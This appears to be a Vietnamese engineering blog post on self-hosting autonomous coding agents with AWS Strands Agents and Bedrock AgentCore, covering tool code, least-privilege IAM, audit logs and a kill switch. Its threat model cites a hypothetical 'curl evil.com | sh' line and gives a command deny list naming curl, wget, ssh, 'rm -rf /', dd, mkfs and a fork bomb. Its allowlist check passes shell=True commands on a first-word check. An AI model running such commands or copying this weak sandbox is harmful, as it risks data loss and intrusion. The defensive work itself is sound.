TL;DR
- Strands Agents là framework AWS publish 2025 cho autonomous agent chạy trên Bedrock AgentCore. Model-agnostic — dùng Claude/Llama/Nova qua Bedrock.
aws-samples/remote-swe-agentslà reference implementation: GitHub issue → agent đọc → plan → mở PR. Tự host trên AgentCore + ECR + Lambda + S3.- Threat model nghiêm trọng — agent có quyền clone repo + push branch + chạy code. IAM blast radius = quyền của role agent assume + GitHub scope của fine-grained PAT.
- Stance: dùng được cho routine refactor (bump dep, lint fix, type annotation, format). Không dùng cho prod hotfix, security patch, hoặc thay đổi cross-service. Threshold: PR < 200 dòng + human approve.
- So với GitHub Copilot Workspace (managed) và Devin ($500/tháng SaaS): Strands self-host kiểm soát hơn nhưng vận hành nặng. Cost mỗi PR ~$0.50-2 (Bedrock token).
- Audit CloudTrail mọi action agent. Slack alert mỗi PR open. Kill switch SSM Parameter để pause toàn bộ agent fleet trong < 30s.
Vì sao tôi thử agent tự code
Backlog team Platform Q4 2025: ~80 PR dependency bump pending. Renovate Bot mở PR đầy đủ, nhưng CI fail 30% vì breaking change cần migration code. Migration code đó 80% là pattern lặp lại — đổi import, đổi method signature, update type. Devil’s work cho người, perfect cho agent.
Phương án thử: AWS Strands Agents chạy trên Bedrock AgentCore. Mỗi issue Renovate fail = trigger agent đọc CI log, sửa code, push commit, comment PR. Sau 3 tháng vận hành (Q4 2025 + tháng 1 này), 240 PR merged automated, ~30 PR bị reject vì agent “creative” quá. Bài này về cách build và rào chắn.
Strands Agents là gì — không phải LangChain on AWS
Strands Agents là framework Python AWS publish 2025, đứng cùng wave với Bedrock AgentCore. Khác LangChain ở:
- Model-agnostic qua Bedrock — switch giữa Claude Sonnet 4.7, Claude Opus 4.7, Llama 3.3, Amazon Nova bằng 1 dòng config. Không hard-code provider.
- AgentCore native — agent chạy trong AgentCore Runtime (managed serverless), tự handle session, memory, observability.
- Tool định nghĩa Python decorator giống MCP, dễ migrate giữa MCP server và Strands tool.
- Multi-agent orchestration built-in —
Swarm,Graph,Handoffprimitives.
Hello-world Strands agent:
# agent.py
from strands import Agent, tool
from strands.models import BedrockModel
@tool
def search_codebase(query: str, repo: str) -> list[dict]:
"""Search code in a GitHub repo using GitHub Code Search API."""
import requests, os
r = requests.get(
"https://api.github.com/search/code",
params={"q": f"{query} repo:{repo}"},
headers={"Authorization": f"Bearer {os.environ['GH_TOKEN']}"},
)
return [{"path": i["path"], "url": i["html_url"]} for i in r.json()["items"][:5]]
agent = Agent(
model=BedrockModel(model_id="us.anthropic.claude-sonnet-4-7-20250929-v1:0"),
tools=[search_codebase],
system_prompt="You are a code search assistant.",
)
response = agent("Find usages of `useEffect` in vercel/next.js")
print(response)
Khi deploy lên AgentCore Runtime:
from aws_bedrock_agentcore import AgentCoreApp
app = AgentCoreApp()
@app.entrypoint
def invoke(payload: dict):
user_msg = payload["prompt"]
return {"result": agent(user_msg)}
if __name__ == "__main__":
app.run()
agentcore deploy build container image, push ECR, register endpoint. Bedrock invoke endpoint trả result.
remote-swe-agents — kiến trúc workflow
aws-samples/remote-swe-agents là reference implementation phức tạp hơn — full pipeline GitHub issue → PR:
GitHub issue (label "agent:fix")
→ Webhook → API Gateway → Lambda router
→ SQS task queue
→ ECS Fargate task (or AgentCore Runtime)
→ Agent loop:
1. Read issue body + comments
2. Clone repo to /tmp (sparse checkout)
3. Plan: which files to touch
4. Read files, build context
5. Generate patch
6. Apply patch, run tests
7. If tests pass → commit + push branch
8. Open PR + comment with reasoning
→ CloudWatch Logs (audit)
→ SNS notification to Slack
Agent dùng GitHub fine-grained PAT (scope: 1 repo, contents:write, pull-requests:write). Không phải org admin token.
Code agent loop điển hình:
from strands import Agent, tool
from strands.models import BedrockModel
import subprocess, tempfile, os
REPO_TOOLS = []
@tool
def read_file(path: str) -> str:
"""Read a file from the current repo working directory."""
with open(os.path.join(os.environ["WORK_DIR"], path)) as f:
return f.read()
@tool
def list_files(directory: str = ".") -> list[str]:
"""List files in a directory (relative to repo root)."""
full = os.path.join(os.environ["WORK_DIR"], directory)
return [os.path.relpath(os.path.join(r, f), os.environ["WORK_DIR"])
for r, _, fs in os.walk(full) for f in fs
if not r.startswith(os.path.join(full, ".git"))]
@tool
def write_file(path: str, content: str) -> dict:
"""Write content to a file in the repo."""
full = os.path.join(os.environ["WORK_DIR"], path)
os.makedirs(os.path.dirname(full), exist_ok=True)
with open(full, "w") as f:
f.write(content)
return {"ok": True, "path": path, "bytes": len(content)}
@tool
def run_command(cmd: str, timeout: int = 120) -> dict:
"""Run a shell command in the repo. Only safe commands allowed."""
ALLOWED = ("npm", "pnpm", "yarn", "pytest", "ruff", "mypy", "tsc", "git")
if not cmd.split()[0] in ALLOWED:
return {"ok": False, "error": f"command not allowed: {cmd.split()[0]}"}
try:
result = subprocess.run(
cmd, shell=True, cwd=os.environ["WORK_DIR"],
capture_output=True, text=True, timeout=timeout,
)
return {
"ok": result.returncode == 0,
"stdout": result.stdout[-4000:],
"stderr": result.stderr[-4000:],
"exit_code": result.returncode,
}
except subprocess.TimeoutExpired:
return {"ok": False, "error": "timeout"}
def run_swe_agent(issue: dict, repo: str) -> dict:
work_dir = tempfile.mkdtemp(prefix="swe-")
os.environ["WORK_DIR"] = work_dir
# Sparse clone
subprocess.run(["git", "clone", "--depth=1", f"https://x-access-token:{os.environ['GH_TOKEN']}@github.com/{repo}.git", work_dir], check=True)
agent = Agent(
model=BedrockModel(model_id="us.anthropic.claude-sonnet-4-7-20250929-v1:0"),
tools=[read_file, list_files, write_file, run_command],
system_prompt=open("prompts/swe.md").read(),
max_iterations=30, # Hard cap on tool calls
)
branch = f"agent/issue-{issue['number']}"
subprocess.run(["git", "checkout", "-b", branch], cwd=work_dir, check=True)
response = agent(f"Fix this issue:\n\n{issue['title']}\n\n{issue['body']}")
# Verify agent didn't break tests
test_result = subprocess.run(["npm", "test"], cwd=work_dir, capture_output=True)
if test_result.returncode != 0:
return {"ok": False, "reason": "tests failed after agent run"}
# Commit + push
subprocess.run(["git", "add", "-A"], cwd=work_dir)
subprocess.run(["git", "commit", "-m", f"fix: {issue['title']}\n\nAgent: {response.summary}"], cwd=work_dir)
subprocess.run(["git", "push", "origin", branch], cwd=work_dir, check=True)
# Open PR via GitHub API
pr = open_pr(repo, branch, issue["number"], response.summary)
return {"ok": True, "pr_url": pr["html_url"]}
Threat model — agent có thể làm gì sai
Đây là phần quan trọng nhất bài này. Agent có quyền:
- Read mọi file repo — bao gồm
.env.example, comment có secret, hardcoded API key cũ trong git history. - Write/delete file — agent có thể overwrite
package.jsonthành garbage, delete migration. - Push branch — branch không protected có thể overwrite (force push). PR branch không quá nguy hiểm vì người duyệt thấy diff.
- Run command shell —
run_commandtool nguy hiểm nhất. Nếu allowlist quá rộng, agent có thểcurl evil.com | sh(đùa, nhưng tương tự). - Call AWS API qua IAM role agent assume — nếu role có S3 read, agent có thể đọc S3 bucket khác.
Blast radius mitigation:
# Fine-grained PAT — scope tối thiểu
permissions:
contents: write # đọc + push branch
pull-requests: write # mở PR + comment
# KHÔNG: admin, workflows, secrets, packages
# IAM role agent assume — chỉ read Bedrock + write S3 sandbox
PolicyDocument:
Statement:
- Effect: Allow
Action:
- bedrock:InvokeModel
- bedrock:InvokeModelWithResponseStream
Resource:
- arn:aws:bedrock:*::foundation-model/anthropic.claude-sonnet-4-7-*
- Effect: Allow
Action:
- s3:GetObject
- s3:PutObject
Resource:
- arn:aws:s3:::agent-sandbox-bucket/*
- Effect: Deny
Action: "*"
Resource: "*"
Condition:
StringNotLike:
aws:RequestedRegion:
- us-east-1
Deny default + Allow specific quan trọng. Đừng đưa role có *:* cho agent ngay cả trong dev.
# Command allowlist trong run_command tool
ALLOWED_PREFIXES = (
"npm ", "pnpm ", "yarn ", # JS package manager
"pytest", "python -m pytest",
"ruff ", "mypy ", "tsc ",
"git status", "git diff", "git log", "git add", "git commit", "git checkout", "git branch", "git push",
)
DENIED_PATTERNS = (
"curl", "wget", "ssh", "scp", "sudo", "chmod 777",
"rm -rf /", "dd if=", "mkfs", ":(){", # fork bomb
"git push --force", "git reset --hard origin",
)
Container isolation: chạy agent trong Fargate task với network mode awsvpc, NACL chỉ allow outbound 443 tới api.github.com, bedrock-runtime.us-east-1.amazonaws.com, pypi.org, registry.npmjs.org. Không cho phép DNS resolution arbitrary.
Audit — CloudTrail + tool log
Mọi action agent phải log. Pattern:
import boto3, json
from datetime import datetime
audit = boto3.client("dynamodb")
def audit_log(agent_id: str, action: str, target: str, result: dict):
audit.put_item(
TableName="agent-audit-log",
Item={
"agent_id": {"S": agent_id},
"timestamp": {"N": str(int(datetime.utcnow().timestamp() * 1000))},
"action": {"S": action},
"target": {"S": target},
"result": {"S": json.dumps(result)[:4000]},
},
)
# Wrap mọi tool
@tool
def write_file(path: str, content: str) -> dict:
result = _write_file_impl(path, content)
audit_log(os.environ["AGENT_ID"], "write_file", path, result)
return result
CloudTrail tự log AWS API call (Bedrock invoke, S3 put). GitHub Webhook Events log push/PR. DynamoDB log tool call trong-agent. 3 nguồn để correlate khi agent làm sai.
Slack alert mỗi PR mở:
def notify_slack(pr_url: str, issue_num: int, summary: str):
requests.post(os.environ["SLACK_WEBHOOK"], json={
"text": f":robot_face: Agent opened PR for #{issue_num}\n{pr_url}\n```{summary[:500]}```",
"attachments": [{
"actions": [
{"text": "Review", "type": "button", "url": pr_url},
{"text": "Kill agent", "type": "button", "url": f"https://ops.example.com/kill?agent={os.environ['AGENT_ID']}"},
],
}],
})
Kill switch — SSM Parameter
Nếu agent đang fan-out và bạn phát hiện nó đang phá, cần dừng < 30s:
# Agent kiểm tra mỗi iteration
def should_continue() -> bool:
ssm = boto3.client("ssm")
p = ssm.get_parameter(Name="/agents/kill-switch", WithDecryption=False)
return p["Parameter"]["Value"] != "STOP"
# Trong agent loop, override max_iterations check
agent = Agent(
model=BedrockModel(...),
tools=[...],
on_iteration=lambda i: should_continue() or sys.exit(1),
)
Set kill switch:
aws ssm put-parameter --name /agents/kill-switch --value STOP --overwrite
Lambda script chạy ngay khi PR-runner notice STOP, drain SQS queue, ack pending tasks but no-op execute. ECS task đang chạy thoát ở iteration tiếp theo (~10-30s tùy LLM latency).
So sánh với Copilot Workspace, Devin, Cursor
| Aspect | Strands self-host | GitHub Copilot Workspace | Devin (Cognition) | Cursor Agent |
|---|---|---|---|---|
| Hosting | Self (AWS) | GitHub managed | Cognition SaaS | Cursor IDE local + cloud |
| Cost | $0.50-2/PR (Bedrock) | $39/user/tháng (Enterprise) | $500/tháng/seat | $20/tháng/user + API token |
| Customization | Full control | Limited prompt | Limited | Medium (rule files) |
| Model choice | Bedrock catalog | GPT-4/Copilot model | Claude (internal) | Claude/GPT chọn |
| IAM/Audit | Full CloudTrail | GitHub audit log | Cognition logs | Cursor logs |
| Multi-repo | Tự build | Native | Native | Manual switch |
| Trust boundary | Trong AWS account | Bên ngoài (GitHub) | Bên ngoài (Cognition) | Local + Cursor cloud |
| Setup time | 1-2 tuần | 30 phút | 1 giờ | 5 phút |
Stance:
- Cursor: developer tool, không phải autonomous agent. Vẫn cần human drive.
- Copilot Workspace: nếu tin GitHub đủ và team < 50 dev, managed solution chạy được. Customization hạn chế.
- Devin: SaaS đắt, control thấp, không qua security review nhiều team.
- Strands self-host: control cao nhất nhưng tốn engineering. Đáng nếu (a) compliance bắt giữ data trong AWS, (b) cần custom rule policy, (c) volume PR đủ lớn để break-even effort.
Với 80 PR/tháng dependency bump, break-even tại tuần thứ 6 (so với tự fix tay 30 phút/PR × 80 PR × 1h dev cost).
Khi nào KHÔNG dùng SWE agent
Đây là bài học sau 3 tháng:
- Prod hotfix: agent không hiểu business context. Bug edge-case mà human lo lắng phải rollback fast.
- Security patch: cần human verify CVE applied đúng và không tạo backdoor mới.
- Cross-service refactor: agent chỉ thấy 1 repo. Đổi API contract phá downstream.
- Database migration: schema change destructive. Đừng để agent gen migration.
- PR > 200 dòng: hit-rate giảm mạnh. LLM lost context, output incoherent.
- Repo không có CI test tốt: agent dựa vào test feedback loop. No test = agent guessing.
Threshold quyết định: PR diff < 200 dòng, CI có > 80% coverage cho area touched, human review sau (không auto-merge agent PR).
Vận hành — checklist 3 tháng
- GitHub PAT fine-grained, 1 repo, contents+PR scope
- IAM role agent với Deny default + Allow specific Bedrock + S3 sandbox
- Network NACL outbound chỉ allow allowlist (github, bedrock, registry)
-
run_commandtool có allowlist prefix + deny pattern - Container Fargate task, ephemeral storage 20GB tối đa, không EFS mount
- Max iterations 30 — hard cap tool calls/agent run
- Timeout per tool 120s, total agent run 30 phút
- Audit log tới DynamoDB + S3 + CloudWatch (3-2-1)
- Slack notification mỗi PR open + kill button
- SSM kill switch parameter, drain script
- Cost alert AWS Budget: $50/ngày Bedrock token
- Test corpus: 20 issue mẫu, regression test mỗi prompt update
- Human reviewer required (branch protection rule)
- Quarterly rotation GitHub PAT
Cạm bẫy thường gặp
1. Agent infinite loop. LLM bị stuck “let me read this file again”. Phải có max_iterations + detect “same tool call 3 lần liên tiếp” → abort.
2. Token cost explode. Một agent run có thể tốn 500K-2M token (đọc file + tool feedback + reasoning). Set MAX_TOKEN_PER_RUN ~ 500K, abort khi vượt.
3. Agent đoán secret từ git history. git log -p lộ .env cũ. Tắt git log trong allowlist, chỉ allow git log --oneline.
4. Agent commit credential. Hiếm nhưng đã xảy ra 1 lần — agent vô tình write .env thực. Pre-commit hook scan secret (gitleaks) trước push.
5. PR phá CI vì test flaky. Agent thấy test fail → đoán fix → fix sai → ship. Phải có “retry once” + “verify test fail cùng cách 3 lần” gate.
6. Container chạy giữa region khác. Bedrock model availability khác region. Lock region us-east-1 hoặc us-west-2.
Bottom line
AWS Strands + AgentCore + remote-swe-agents là stack production-grade nhất hiện tại để chạy autonomous SWE agent trong control của bạn. Trade-off chính: vận hành 2 tuần đầu nặng (IAM, networking, audit), sau đó scale tốt. Tôi không khuyến cáo cho team < 30 dev — cost engineering không break-even. Cũng không khuyến cáo cho mọi loại PR — giới hạn ở routine refactor (dep bump, lint fix, format, type annotation). Khi vượt threshold đó, agent làm sai cost lớn hơn agent đúng. Cho 240 PR merge automated trong 3 tháng của tôi, đó là saving ~120 giờ dev. Quan trọng: human review luôn-luôn ở giữa agent output và main branch. Agent autonomous trong sandbox, không autonomous trong production code path.